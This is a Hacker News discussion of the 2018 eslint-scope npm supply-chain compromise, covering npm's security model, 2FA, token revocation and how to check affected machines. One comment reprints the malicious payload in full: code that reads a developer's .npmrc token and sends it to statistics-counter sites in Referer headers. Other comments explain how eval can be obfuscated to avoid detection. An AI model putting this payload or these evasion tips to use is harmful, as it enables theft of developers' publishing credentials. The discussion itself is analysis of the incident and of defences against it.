
ESLint compromised, may have stolen your credentials - matsemann
https://github.com/eslint/eslint-scope/issues/39
======
msoad
I blame the Linux Foundation that has allowed Node.js to ship with npm CLI
which is a client for a _VC backed_ _for profit_ company. This posinstall
stuff is clearly a bad design that many have pointed to it before but npm just
ignored it. Nobody can fix it other than npm. I have nothing personal against
people who work at npm inc but this structure is not right. npm is having way
too much control over this ecosystem. They always complain about not having
not enough resources. How about running npm like an open source project
instead? I have many questions:

    
    
        Why the registry code is not open source?
        Why the CLI is not maintained well? (Yarn exists because npm CLI sucks)
        What if VC money forces npm to milk free users for money?

~~~
steamer25
In a recent video, Ryan Dahl mentioned that he regrets incorporating
package.json and NPM into Node:

[https://youtu.be/M3BM9TB-8yA?t=588](https://youtu.be/M3BM9TB-8yA?t=588)

He has a very early attempt at breaking from compatibility with Node called
"Deno". Here's the part in the video about his current thoughts on importing
external modules under Deno:

[https://youtu.be/M3BM9TB-8yA?t=1257](https://youtu.be/M3BM9TB-8yA?t=1257)

He has some other security proposals as well.

~~~
pedro_hab
And he even mentions linters (in the first Deno slide) as untrusted utilities
that should take advantage of the JS sandbox and not have access to network.

------
AndrewVos
Below is the contents of the pastebin that the virus tries to eval.

Kind of interesting that they used a stats counter site as a free anonymous
database.

    
    
      try{
        var path=require('path');
        var fs=require('fs');
        var 
        npmrc=path.join(process.env.HOME||process.env.USERPROFILE,'.npmrc');
        var content="nofile";
     
        if (fs.existsSync(npmrc)){
         
            content=fs.readFileSync(npmrc,{encoding:'utf8'});
            content=content.replace('//registry.npmjs.org/:_authToken=','').trim();
     
            var https1=require('https');
            https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+content}},()=>{}).on("error",()=>{});
            https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+content}},()=>{}).on("error",()=>{});
       
          }
      }catch(e){}

~~~
Jupe
The fact that this is the top-voted item here scares the hell out of me.

eval() should be removed from the language. Period. Dynamic code like this is
a gaping security hole. There an infinite number of ways to get around eval()
detection (see some comments below).

eval() combined with a hole-ridden package manager is the perfect storm; the
equivalent of an open door for hackers to manipulate a potentially huge number
of code bases.

And the top-voted comment is how they used a stats counter to stuff the
hijacked creds... WTF.

~~~
jpochtar
Removing eval wouldn't help— you could always just write a tiny interpreter to
do the same thing. This is a problem in any Turing complete programming
language (with Reflection), although JS makes it easier.

~~~
Jupe
True, it wouldn't solve the problem entirely, but I'd guess a 'tiny'
interpreter would stand out more than a one liner like this one, possibly
making detection easier.

~~~
RussianCow
On the contrary, `eval` is used so little in real code that it's easy to
detect. A tiny, obfuscated VM would be much more difficult.

~~~
mygo
‘eval’ is not trivial to detect when it’s

window[rot13("riny")]("console.log('lol')");

or one of the many other ways to obfuscate eval

------
konradzikusek
It looks like Ryan Dahl predicted it: "It would be nice to download the
massive codebase that ESLint is and run it without it taking over my computer
- which it could."

[https://www.youtube.com/watch?v=M3BM9TB-8yA&feature=youtu.be...](https://www.youtube.com/watch?v=M3BM9TB-8yA&feature=youtu.be&t=403)

~~~
msoad
Sandboxed by default is the best design decision of deno.

Using URLs for import is another one. npm as a company has too much power and
responsibilities that is really unnecessary. We're downloading from a URL
anyways. package.json and npm makes it look like everything has to be hosted
there

~~~
pitaj
URL imports is a terrible idea. There's a reason we have actually package
managers and repositories instead of installing from GitHub.

Properly made and run package managers are more secure and offer a better
developer experience than importing by URL.

~~~
ricardobeat
Which package managers are properly made, and how are they more secure? As far
as I'm aware npm's security model is shared with almost all of them.

~~~
eptcyka
Cargo is far better in this regard, for one.

~~~
Arnavion
Cargo packages can also execute arbitrary code at compile-time through build
scripts, which run with full permissions of the original `cargo` command
including filesystem and network access.

------
gcb0
gotta love npm community . here's the summary:

1\. someone compromises eslint to scan for other npm credentials and upload
them.

2\. the code has a bug that fails in some conditions.

3\. this probably ran in several devs/CI systems and stole tons of credentials

4\. the thread is about pinning the unaffected older version on all other high
profile packages

5\. people start to suggest fixes for the payload exec'ing code from an http
request.

in the end, attackers now have hundreds of credentials for less visible
projects, and even a fix for their code. I'd say attackers are writting this
off as a huge success.

npm should proactively revoke everyone's token now!

~~~
t3h2mas
> To protect potentially compromised accounts, npm is invalidating all npm
> login tokens created between 2018-07-11 00:00 UTC and 2018-07-12 12:30 UTC
> (about 2 hours ago).

[https://status.npmjs.org/incidents/dn7c1fgrr7ng](https://status.npmjs.org/incidents/dn7c1fgrr7ng)

------
0x0
Isn't it scary that this seems to have been discovered only because the
backdoor code was buggy?

~~~
blablabla123
Buggy code is a top indicator that something on a deeper level is wrong.
Assuming that the people who wrote the code were not in a total rush and quite
smart, how could they write buggy code if the code base was healthy and
robust? Especially on a project that is unit-tested and linted, without
checking I assume everything on ESLint is...

~~~
kevindqc
How can the exploiter write buggy code? By... writing buggy code?

From what I gather, they wrote some code that downloads a script, which might
(or not) get downloaded in chunks. But their code only executes the first
chunk. So if the whole script is not in the first chunk, you get a syntax
error because it is incomplete.

That exploited code was not in Github, it was added to the ESLint code the
exploiter had, which he then published to npm using stolen credentials,
bypassing the normal CI process. How would unit tests and linting help with
that?

------
sslalready
ESLint maintainer responds here: [https://github.com/eslint/eslint-
scope/issues/39#issuecommen...](https://github.com/eslint/eslint-
scope/issues/39#issuecomment-404533026)

> One of our maintainers did observe that a new npm token was generated
> overnight (said maintainer was asleep). We think that token was likely used
> but are awaiting confirmation from npm. This maintainer has changed
> password, enabled 2FA, and generated new tokens.

~~~
ethagnawl
> enabled 2FA

This should serve as a reminder to all FLOSS maintainers/contributors that 2FA
should be enabled on whichever services (relevant to your project and
elsewhere) support it.

UPDATE:

rubygems.org does have support for 2FA, it just isn't advertised yet. See this
comment for instructions on how to enable it for your account:
[https://github.com/rubygems/rubygems.org/issues/1252#issueco...](https://github.com/rubygems/rubygems.org/issues/1252#issuecomment-404607785)

------
Vinnl
Given that it's making calls to histats.com and statcounter.com, I wouldn't be
surprised if this is someone trying to make a point. Let's hope so, at least
:) I would be interested in a blog post detailing how many credentials they
were able to obtain, how many people they managed to infect and how many
packages they could potentially compromise.

If npm (and I'm guessing they will) have to invalidate all publish tokens for
all users, that is going to be painful.

 __Edit: __I should point out that this is just speculating - there are
definitely still ways this could be abused, so don 't assume you're safe.

~~~
wwwv
They are linked as HTTP referrer, so they can get the tokens out of the stats
page later on.

It's using a popular and well known domain to evade detection.

~~~
Vinnl
That's true, but doesn't it also place their fate in the hands of the owners
of StatCounter and HiStats?

(Of course I __am __just speculating - there 's definitely still ways this
could be abused. I'll update my comment.)

~~~
sdf43543t345
Doesn't matter. Google Analytics was used to steal ethereum seeds too (as the
'referer' also I believe). Its common to use analytics as exfiltration
services -- the traffic is not as suspicious and usually https.

~~~
wwwv
Critically, it also doesn't leave a trail by running a server anywhere.

~~~
meowface
There's always a trail. What IP and email were used to register the accounts
for the stat tracking sites? What IP was used to register the email account?
What are all the IPs that ever logged into those accounts? If the email or
account registration or login IPs are VPNs, what IP was behind that VPN (if
the provider keeps that information)?

A server doesn't necessarily leave any more of a trail if you purchase one
with a good VPN, throwaway email, and some kind of cryptocurrency.

OPSEC is a bit easier when abusing a legitimate service, but I think one of
the main reasons to use these stat tracking sites is because it blends in with
regular traffic very well. If your organization doesn't have SSL interception,
it would be very difficult to find the .npmrc exfiltration in logs or PCAPs.
This wouldn't be the case if they purchased a server or registered a domain
just for this purpose, even if they used SSL, since traffic to the IP/domain
alone would likely be sufficient to confirm compromise.

------
maaaats
In short: Someone has published a version 3.7.2 of eslint-scope that contains
unwanted code. The code tries to read your credentials and send them to some
tracking pages.

Webpack and more uses ^3.7.1 of the dependency, making you automatically
upgrade to the hacked one.

Update: According to the linked issue the nefarious package has now been
unpublished. If you have npm credentials and did npm install the last few
hours you should probably revoke your tokens.

~~~
zalebz
source is from github, right? can we not identify the "someone" in this case?
or are we talking about a separate publish to npm process unrelated to github
releases? can the eslint-scope team not figure out the someone that did the
publish? I'm an open source newb but I have to think someone had to accept
this malicious code at some point for it to ripple through and make it to
release/publish right?

~~~
mklauber
From what I read, the code is not in the github repository. What happened was
that the npm publish credentials were compromised, and someone published their
own code instead of code from the github repo. So they don't have commit logs
of who published the bad code, but npm may be able to help them track down
which credentials were used to publish it. Npm's server logs may also point in
the direction of where the malicious publish came from, but it's likely that
the IPs in the server log are proxied or otherwise useless.

~~~
consumer451
> someone published their own code instead of code from the github repo

Sorry for my ignorance, I have not been a real dev for over 10 years, but
wouldn't a better way for NPM to take new packages be for NPM to own the build
process? As in the owner of a package would tell NPM: please build and publish
from this previously registered repo. Then NPM would have it's own Jenkins
servers actually run the build?

Based on my very limited understanding the main problem I see with NPM is that
I have no idea if the code in the repo was the same code used to build the
package. This is what happened in this case, correct? Wouldn't NPM owning the
build process solve this problem?

I realize this would be a huge load for NPM, but NPM has the world's security
riding on its shoulders.

I'm ready to be told why this is dumb now...

edit: grammar

~~~
mijamo
But how would you know that the sourced on NPM same as the ones you have?
Except if you require all NPM packages to be hosted on Github but that does
not seem like a good idea to me.

~~~
consumer451
Couldn't some simple standard be developed to allow non-github repo hosts to
also be used?

~~~
proneb1rd
Like gpg the payload and make sure npm has a public key.

------
rimunroe
This reminds me of this story [https://hackernoon.com/im-harvesting-credit-
card-numbers-and...](https://hackernoon.com/im-harvesting-credit-card-numbers-
and-passwords-from-your-site-here-s-how-9a8cb347c5b5)

------
jpochtar
Each version of an npm package needs a certified git commit hash.

Otherwise when vetting an npm package, you have no idea if the code you're
reading on Github is actually what you're going to download or not. In
scenarios like this one, package publishers could easily configure getting an
alert that someone tried to push to npm a hash for which no commit exists in
Github.

For packages with a build step this would likely mean npm would have to run
the build step on their servers. Hopefully there's a way they won't have to
eat that cost, but I believe publishing linking package versions to specific
git hashes is the only way to prevent an attack like this.

~~~
nevir
The challenge here is that you cannot just go with signed commits—it would
also need to authenticate a specific user/org, repository, etc. (Anyone can
sign a commit)

Similarly, however that whitelist of identities is specified becomes another
vector, without a lot of PKI

~~~
jpochtar
I shouldn't have used the word 'certified'— I just meant the package version
should have an associated commit hash. There has to be a relationship between
the hash and the published code in some way, unlike eg. the "homepage" field
people use to link to Github which can just be an outright lie.

My goal is for readers to match the hash to one on Github so they know the
code they're reading there to vet the package is what's on npm. For OSS
maintainers, it's an immediate red flag to see a package version published
with a hash that was never in the public repo.

This won't certify that the version is blessed by a legitimate author. It just
delegates the problem to Github (or their competitors). It doesn't solve the
problem of preventing all OSS library-based attacks, but plugs one of the
leaks in trust that caused today's failure: that Github->NPM is not checked in
any way.

~~~
thephyber
If a malicious actor has access to change the npm module (therefore can change
the public key used to verify the module code signature), how does signing
code help? Now the malicious actor is signing their malicious code.

Code signing still allows the fire to spread. What we need to be talking about
is how to prevent the spark that starts a fire.

------
hownowbrowncow
Update: NPM is revoking _all_ tokens between 2018-07-11 00:00 UTC and
2018-07-12 12:30 UTC.

[https://status.npmjs.org/incidents/dn7c1fgrr7ng](https://status.npmjs.org/incidents/dn7c1fgrr7ng)

~~~
hownowbrowncow
See also:
[https://gist.github.com/localjo/59bb12b7a4789e01e3782cf8a103...](https://gist.github.com/localjo/59bb12b7a4789e01e3782cf8a1031c87)

Good to make sure you team members who might have installed within that time
period nuke out all their node_modules.

------
msl09
As a user/developer how do you even mitigate against this kind of attack?
Audit all source that you or your dependencies use?

~~~
Sir_Cmpwn
The honest answer is a hard truth: you don't use npm at all. The npm ecosystem
is out of control and beyond saving. I think it would be wise if someone
started a new JavaScript package manager which was run more like a Linux
distribution is - trusted third-parties that independently audit and publish
new packages.

Retracted: I wanted to audit the rest of npm to see if this payload had made
it into any other packages, since if it steals your npm credentials it seems
like it could easily become viral. But because npm is a centralized,
proprietary service, I can't just download all of the packages from a mirror
and examine them myself.

~~~
rufugee
It seems that Node would really benefit from a "NPM is a Ghetto" post similar
to Zed's Rails rant.

~~~
Jach
It had that post 7 years ago: [https://www.semitwist.com/mirror/node-js-is-
cancer.html](https://www.semitwist.com/mirror/node-js-is-cancer.html) It was
about Node specifically, though, not NPM.

"Yudkowsky's Law of Continued Failure says that if they're dumb enough to do
X, they're dumb enough to go on doing X after the next stimulus." In this
latest saga of NPM-related fail, it's just another stimulus, so don't expect
anything to happen that might address the underlying problems of the
ecosystem.

~~~
ricardobeat
That's a terrible article (such a blind view on async I/O), and totally
unrelated to the security model of package managers.

~~~
Jach
I did say it was about Node, not NPM, but you're right on the article quality
too. I even used Node after reading that post..and liked it. But actually I
was wrong to even associate it with Zed's post, since Zed's post is mainly
about the community and not about the technology. I inferred the call for a
similar post on NPM to be technology related and pattern matched on the wrong
dimension of "poorly received ranty criticism" entirely! Oh well.

------
inglor
Asking for some feedback for Node.js

What (if at all) should Node.js do better to protect users from this sort of
attack vector?

Is a deno-like surface where users opt into packages getting network
permissions desirable? More guides on npm-audit or stronger auditing tools?

~~~
koolba
Explicit whitelisting for network access.

Explicit whitelisting for fs access.

A programmatic way to tell if the publisher of a module has 2FA enabled. I’m a
fan of public shaming to enable 2FA, if not making it mandatory (again tricky
if you have automated builds).

~~~
andrew_
-1 to this. while 2FA is a no-brainer for most of us, _publicly_ listing (or showing status) not only encroaches individual liberty to make a choice, it would open such users to be targets of an attack. Enforcing 2FA in an organization seems more appropriate. Perhaps npmjs.com has implemented that since last I looked, but I know in the past that enforcement was not available.

I also greatly dislike the trend of public "shaming" that's so prevalent
today. The internet has made us cruel.

~~~
Kalium
I, too, greatly dislike the cruelty of public shaming. It's inhumane, and
dehumanizes us all.

Recently I was tasked with improving 2FA usage in my company's GitHub
organization. My first approach was to nicely, neatly, and personably ask
people, coupled with regular announcements to make sure everyone knew. Every
interaction came with documentation on how to do it and a sincere offer to
walk them through it. Totally reasonable approach, executed with kindness and
compassion.

The cynic in me was unsurprised when this rapidly became a Sisyphean task. A
number of people, upon faced with being informed in half a dozen different
ways, professed to have _no idea_ that they were expected to enable 2FA.
Others swore up and down to me that they knew what to do and would shortable
enable it, only for it to still be off a week or more later.

At this point I decided that kindness and human compassion were a drain on my
time and clearly ineffectual. So I grabbed a junior engineer and we wrote a
script that automatically removes from the org anyone who doesn't have 2FA
enabled. Announced it to everyone, _every_ manager on board, and turned it on.
Overnight, the problem went away, and has largely stayed away. Once in a while
people publicly ask why they were kicked out and are reminded that they were
informed of the 2FA requirement.

This isn't an approach characterized by humanity and kindness. It is, however,
one that is effective and time-efficient.

~~~
snowwolf
Why did you need to write a script? GitHub allows you to enforce 2FA at the
organisation level.

[https://help.github.com/articles/requiring-two-factor-
authen...](https://help.github.com/articles/requiring-two-factor-
authentication-in-your-organization/)

~~~
Kalium
You're absolutely right! GitHub _does_ offer that wonderful feature.

There are some legacy bot accounts that we cannot readily tradition to 2FA and
we cannot do without. The feature you have so rightly pointed to would evict
them from the org. That's not an acceptable outcome in this case.

I skipped over this in my previous comment because I felt it wasn't germane to
the story or the point.

------
eqmvii
Do we need a “days since last NPM-related security disaster” tracker?

~~~
yosito
Someone should make this!

~~~
have_faith
For what purpose other than feeling smug?

~~~
phendrenad2
To shame the community into doing something, maybe.

~~~
have_faith
Would you shame a child for making a mistake? Shame should be reserved for
malice and nefarious action with intent.

~~~
iooi
Got it, so we should treat the npm community as a child, right?

------
Jupe
I think someone needs to audit all versions of all packages on npm. The
original eslint maintainer's credentials could have been compromised days ago,
via an older version of another module; then the credential stealing code
could have been removed in a more recent update.

I've grepped my entire local code base for 'eval' and 'pastebin'; I seem to be
fine. But was I fine yesterday? The "^" wildcard is just evil.

And the fallout from this could be incredibly complex. What do you think the
original hackers will do with the stolen npm credentials? The paranoid side of
me says they are inserting different hacks in any module they can.

Ugh... npm is insanely broken.

~~~
benologist
I think developers need to be much more deliberate about the packages they use
and try to have a very small node_modules where it's possible to provide some
oversight.

~~~
kevin_b_er
This is not possible under the npm/js paradigm of massive module dependency
trees. You'll get a module and it will have 10 dependencies and each of those
10 dependencies will each have 5 dependencies. Three of those at the 4th level
was an infected eslint package.

They've learned precious little since left-pad.

~~~
cphoover
Right! that's what I thought this is left-pad all over again.

Although left-pad was really just a disgruntled publisher... this involves a
malicious third party.

My suggestion in fixing the later would be to enforce 2FA for publishing of
packages that have so many dependents.

Award a badge to a release when it is published with 2FA. So for LTS releases
they can be verified as manually published. This will impact package consumers
decision making process, on whether or not to include a dependency into their
package.json.

------
vlucas
This is not _eslint_. This is _eslint-scope_ which is not included by default
with ESLint itself.

~~~
nailer
Mods / sctb / dang: can you fix the title? Thanks!

~~~
nailer
Just replying to self: parent is wrong and I wish I could delete my comment
above

------
jessaustin
I always thought it was a little weird for credentials to be put into .npmrc,
and this isn't the first time this has caused a problem. Lots of people host
their dotfiles publicly, but if you do that with .npmrc you'll (eventually)
get an admonishing email from github etc. It really conflicts with the
(correct, again) Unix model of separating configuration data from ephemeral
data. The creds should be placed in $XDG_CACHE_HOME/npm/ , a directory that
already contains lots of ephemeral data for npm. Incidentally that directory
and its subdirectories seem to be world-readable by default, which is also
stupid.

~~~
AgentME
It's not obvious to me that credentials are ephemeral data rather than part of
the configuration.

~~~
jessaustin
From TFA:

 _npm has revoked all access tokens issued before 2018-07-12 12:30 UTC._

If credentials were configuration, we'd be screwed now, because the data we
have stored is no longer valid. Fortunately, all we have to do is this:

    
    
      $ npm adduser
    

Now the data we have stored is correct again! This is textbook ephemeral data.
We can cache it, and that might save some time, but it really doesn't matter.
We could flush cache every half hour and it wouldn't hurt a thing.

Another way to see that credentials aren't configuration is what I suggested
above: we would never want to back up or publish them, so they are different
from and belong in a different place than configuration that we definitely
want to back up and often want to publish.

[EDIT:] If one had only considered this from a "12-factor" perspective, in
which creds and config are both called config and are both stored in envvars,
I could understand the confusion. Note however that the config we're talking
about for npm is e.g. "init-author-email". That doesn't change from
environment to environment, so it's more like what 12-factor would call
_code_...

------
snowwolf
This would be a good time to stop what you are doing right now and enable 2FA
everywhere you can think of if you haven’t already.

If you control an organisation account enforce it for everyone (github, etc).

I know some places implement it poorly (I’m looking at you SMS based 2FA) but
it’s getting to be point where not having it enabled is now a question of when
not if you will be compromised. This and Gentoo are recent examples that could
have been prevented by 2FA that was available but not enabled.

~~~
Gaelan
Not that it’s a bad idea in general, but I don’t think it would help in this
situation. I’ve never published NPM packages, but I’m assuming that it only
asks for a 2FA token when you first log in, and not every time you publish.
Because this thing is stealing local tokens, I think 2FA wouldn’t help.

~~~
snowwolf
Possibly not, but it would have prevented the compromise in the first place.
My advice was less about helping people affected by this and more about trying
to prevent the next one.

------
no_wizard
I have to wonder if using the same approach as Packagist would be better. In
order to upload to packagist you have to link your git repo (GitHub Bitbucket
etc) to your Packagist account and sync it that way. The thing npm got wrong
here is that you can upload without doing any of that. Seems like that simple
step would have prevented this if I’m understanding the chain of events
correctly

~~~
Vinnl
I don't know, it seems like your SSH key could've been compromised the same
way the npm publish token was obtained. So that would only protect those that
do not use SSH (or GitHub, which luckily isn't required to publish an npm
package) to push.

~~~
no_wizard
Perhaps. Though I find that the statistical odds of an ssh key being breached
is smaller than spoofing web credentials, thought I could be wrong, my
background is not in security. Just anecdotally I actually haven't met anyone
that has had their SSH keys hacked/stolen/compromised but I know lots and lots
of people, even smart people who use 2 factor for everything, have had
something compromised (though I can vividly remember one case where it was 2
factor that saved the day from one of my co-workers having a very nasty
identity theft problem. Remember folks, don't ever _save a note in your email
with your SSN and Drivers License_ )

~~~
cphoover
an ssh key is just a file on your computer the same way they stole the
~/.npmrc file. They could just as easily steal your ~/.ssh/id_rsa private key.

~~~
no_wizard
Sure this is true. Though the audience of folks that would 1.know what an ssh
key is and 2. Know how to generate one I would put better than average odds in
on the ssh key not being compromised than any internet account particularly if
it does not have 2fa enabled

------
INTPenis
I'm a frontend hobbyist. I noticed a lot of node_modules use eslint. Are they
able to hijack stuff all the way down the dependency chain?

~~~
thephyber
> Are they able to hijack stuff all the way down the dependency chain?

Potentially.

Just because you have `eslint` installed as a dependency doesn't mean this
exploit ran on your computer. You would have had to run `npm install` (or a
similar command) during the infected time (NPM makes it sound like just a few
hours).

Details:

This was in `eslint-scope`, an optional dependency of `eslint`.

For this to affect you, you would have needed to run an `npm install`-like
command after the infected version of the module was published to `npm` and
before it was unpublished.

It's not clear yet if any other modules were infected. Time may tell.

The exploit ran arbitrary code (RCE) after an `npm install` / `npm update`
type of command. The payload was a pastebin paste (since neutralized), so to
the extent that it could be changed by the author, what the RCE did could have
been changed.

NPM has announced that they have disabled the credential-tokens that were
issued from a specific time interval, meaning that NPM publishers would have
to re-authenticate in order to publish module updates.

------
fulafel
Is it possible that this is a npm virus, or semiautomated train of
compromises, and the eslint-scope project npm credentials were compromised the
same way? Given it was eval-ing code off pastebin, it's hard to tell what has
been going on.

~~~
maaaats
They say the package didn't come from their pipeline, so it's most likely
published with stolen credentials. So it's not far-fetched to think those
credentials were stolen the same way. More packages may be affected.

~~~
_bxg1
They did say the pastebin has been taken down, so at least it won't spread
further. Still, everybody who ever publishes anything should reset their
credentials.

~~~
paulirwin
It won't spread further... for this specific package. There's nothing to prove
that the virus isn't self-replicating and used a different pastebin/source or
mechanism when affecting all packages of authors who've had their credentials
compromised, and then authors that install the packages that depend on those
packages, etc. When publishing credentials of other package authors have been
compromised, the scope could be nearly the entire npm ecosystem.

------
infogulch
npm should require all package maintainers to set up 2-Factor Authentication
(NOT via sms) and reauthenticate on every update, effective immediately.
That's the only fix I can see for this. Libraries are too vulnerable and our
current js ecosystem has too many dependencies and too many people in the
chain to trust that _all_ of them use secure password practices and _none_ of
them have been compromised.

------
jsty
It seems language package manager compromise is becoming an increasingly
prevalent attack vector.

IMHO, at some point, the software development industry is going to have to
come together and find a way to collectively audit the most widely used
packages, considering that the status quo of everyone doing their own auditing
is clearly not working. Perhaps a twitter-style 'blue tick' or similar for
audited libraries.

~~~
_bxg1
Unfortunately in this case, since the source repository itself wasn't
compromised, there was nothing to audit (assuming the final bundle was
packed/minified).

One interesting mitigation would be for NPM to allow you to bind your package
directly to a particular repo. So rather than a user (or job system) having to
manually go in and publish releases, NPM could assure that what's live always
matches what's in the repo.

I've always wondered, how does apt-get solve this? Do they audit every
package?

~~~
namibj
They build them themselves, and vet holders of signing keys. They have _much_
better opsec than the NPM ecosystem.

------
holmberd
If your npm is up-to-date it would have provided a critical warning about the
use of eval in that code.

~~~
bradyd
Can you give some more information on this? Is this part of the npm-audit
feature?

------
thephyber
NPM's status timeline [1] and Eslint.org's postmortem article[2].

edit: NPM had a recent blog article[3] about their progress towards
codesigning modules.

[1]
[https://status.npmjs.org/incidents/dn7c1fgrr7ng](https://status.npmjs.org/incidents/dn7c1fgrr7ng)

[2] [https://eslint.org/blog/2018/07/postmortem-for-malicious-
pac...](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-
publishes)

[3] [https://blog.npmjs.org/post/172999548390/new-pgp-
machinery](https://blog.npmjs.org/post/172999548390/new-pgp-machinery)

------
hzoo
ESLint post: [https://eslint.org/blog/2018/07/postmortem-for-malicious-
pac...](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-
publishes)

------
phendrenad2
This is why I do all of my development in VMs now. I can’t abandon Node,
because that’s the current trend in web development, so i just try to avoid
the most common viruses that don’t include a VM-breakout zero day.

~~~
cremp
> current trend in web development

Why on earth are you using whats popular instead of the correct tool for the
job?

To be clear, you absolutely can abandon node, and should.

~~~
phendrenad2
Because using what’s popular is what gets you jobs.

------
t3h2mas
How to scan your projects (from their directory, or their parent directory)

[https://github.com/eslint/eslint-
scope/issues/39#issuecommen...](https://github.com/eslint/eslint-
scope/issues/39#issuecomment-404569431)

You can easily modify the script to scan for the other vulnerable dependency
as per

[https://github.com/eslint/eslint/issues/10600](https://github.com/eslint/eslint/issues/10600)

version: eslint-config-eslint 5.0.2

------
aeleos
According to the thread, as of about 30 minutes ago the malicious version has
been unpublished.

Despite this, it seems that a lot of high profile packages were vulnerable to
an automatic minimum version bump. There have been quite a few close calls
with non packages, and at some point I feel like it will actually do some
damage.

~~~
_bxg1
The indirect dependencies thing is a real problem, for other reasons too,
because you can't control those. The peer dependency system partially solves
this, but it's still an issue.

------
brlewis
Here's how I checked my own machine, though I was already confident I wouldn't
be affected:

    
    
      find ~ -name eslint-scope -exec grep -H version '{}/package.json' \;
    

If you use yarn exclusively, this will also work:

    
    
      yarn cache list | grep eslint-scope-3.7.2

~~~
ethagnawl
Thanks for sharing this snippet. It looks like the "bad" version of eslist-
scope found its way into the Heroku CLI. SMDH.

------
yosito
Here are some useful commands you can use to secure your environment in light
of this hack:
[https://gist.github.com/localjo/59bb12b7a4789e01e3782cf8a103...](https://gist.github.com/localjo/59bb12b7a4789e01e3782cf8a1031c87)

~~~
thephyber
Note that NPM claims they already disabled NPM access tokens that were used
during the timeframe they assigned to this incident so if you were affected,
your token was already revoked.

Also, ESLint's postmortem[1] suggests this was password reuse (matching a
creds from a previously popped service) + lack of 2FA. In short, a failure of
a developer with publish permissions to use basic security hygiene.

[1] [https://eslint.org/blog/2018/07/postmortem-for-malicious-
pac...](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-
publishes)

------
nodesocket
Why go through the effort of evalin' the result of pastebin.com/raw/XLeVP82h?
Why not just put the resulting code from pastebin directly into the suspicious
file?

~~~
mygo
because this way they can change the code to be executed on the fly outside of
npm

------
ecares
Some recommendation here [https://blog.sqreen.io/eslint-
backdoor/](https://blog.sqreen.io/eslint-backdoor/)

------
b1n5h
I would like to check if I used the package from the past commit, but when is
the release date of 3.7.2?

------
maksymddd
Anyone got 3.7.2 source code or the compiled version? Need it for research
purposes.

~~~
maksymddd
Already found out: [https://registry.npmjs.org/eslint-scope/-/eslint-
scope-3.7.2...](https://registry.npmjs.org/eslint-scope/-/eslint-
scope-3.7.2.tgz)

------
micimize
probably the most reasonable stopgap to this class of attacks is for npm to do
more to encourage 2FA, with badges, etc, and introduce a warning on non-2FA
installs.

~~~
thephyber
One of the notes on the ESLint postmortem[1] was that developers shouldn't
reuse passwords and should use a password manager to facilitate making this
easier.

While I ack that 2FA would have prevented this incident, so would have using
unique credentials. Note that using unique credentials is available at _every_
SaaS service, not just the ones that support 2FA.

[1] [https://eslint.org/blog/2018/07/postmortem-for-malicious-
pac...](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-
publishes)

~~~
micimize
right, but 2FA usage is something npm can actually verify, so that we as
package consumers can ask/receive some security guarantees from publishers.

------
andrew_
This was resolved in about an hour, looking at the issue linked. All things
considered, that's great turn-around time for a fix.

~~~
mrob
It's not completely resolved until everybody who was potentially compromised
audits everything their credentials gave them control over and changes the
credentials.

~~~
andrew_
Is a bug not fully resolved until every machine on the planet running that
software has upgraded to a version in which the bug doesn't exist? That'd be
quite a silly assertion imho.

------
brodock
Did anyone fill a CVE already?

~~~
thephyber
The CVE DB is usually pretty backlogged. This[1] is the defacto NPM "CVE DB"
and describes the two modules[2][3] affected by this incident that ESLint and
NPM acknowledge.

[1] [https://nodesecurity.io/advisories](https://nodesecurity.io/advisories)

[2]
[https://nodesecurity.io/advisories/673](https://nodesecurity.io/advisories/673)

[3]
[https://nodesecurity.io/advisories/674](https://nodesecurity.io/advisories/674)

------
menagerie
Thanks for posting this!

------
b1n5h
I would like to know if I used the package from the past commitment, but when
is the release date of 3.7.2?

~~~
thephyber
From one of the comments in TFA:

> '3.7.2': '2018-07-12T10:40:00.478Z'

------
dosy
Another great reason to not go with gigantic libraries / toolchains /
transpilation. Use small code you can read, rather than something like
Babel/JSX/React.

~~~
thephyber
The size doesn't matter. Just including a single JQuery-like library from a
fake CDN could get you similarly pwn your supply chain.

If you use other peoples' code and you don't {static analyze it, dynamic
analyze it, sandbox+scrutinize its network traffic it until you are confident
it doesn't phone home, reverse engineer all of the binaries, etc} you can get
hit by the same issue.

~~~
dosy
Exactly. Don't use other people's code / depend on their code / services.

But you're wrong about size. It matters. If your code is small enough you host
it yourself rather than relying on external CDNs. Risk surfaced reduced. And
smaller code mindset leads to less use of dependencies / bloatware like the
React/Babel tool chain, so of course this leads to less risk.

But it also makes fools of a lot of people and conventional/fad wisdom, so I'm
unsurprised they're unhappy to hear it.

------
cremp
Said it before, and I'll say it again.

Why the flagnar do hardcore believers/users of Node insist that everything is
perfect with their package management; let alone any of the bad programming
practices that Node idolizes?

This is what... the 4th major incident in the last 6 months with Node and npm.

Anyone who tells me they use Node will _instantly_ get put on their own
sandbox and vlan. You just can't trust that the code they run is legit, even
if they wrote it.

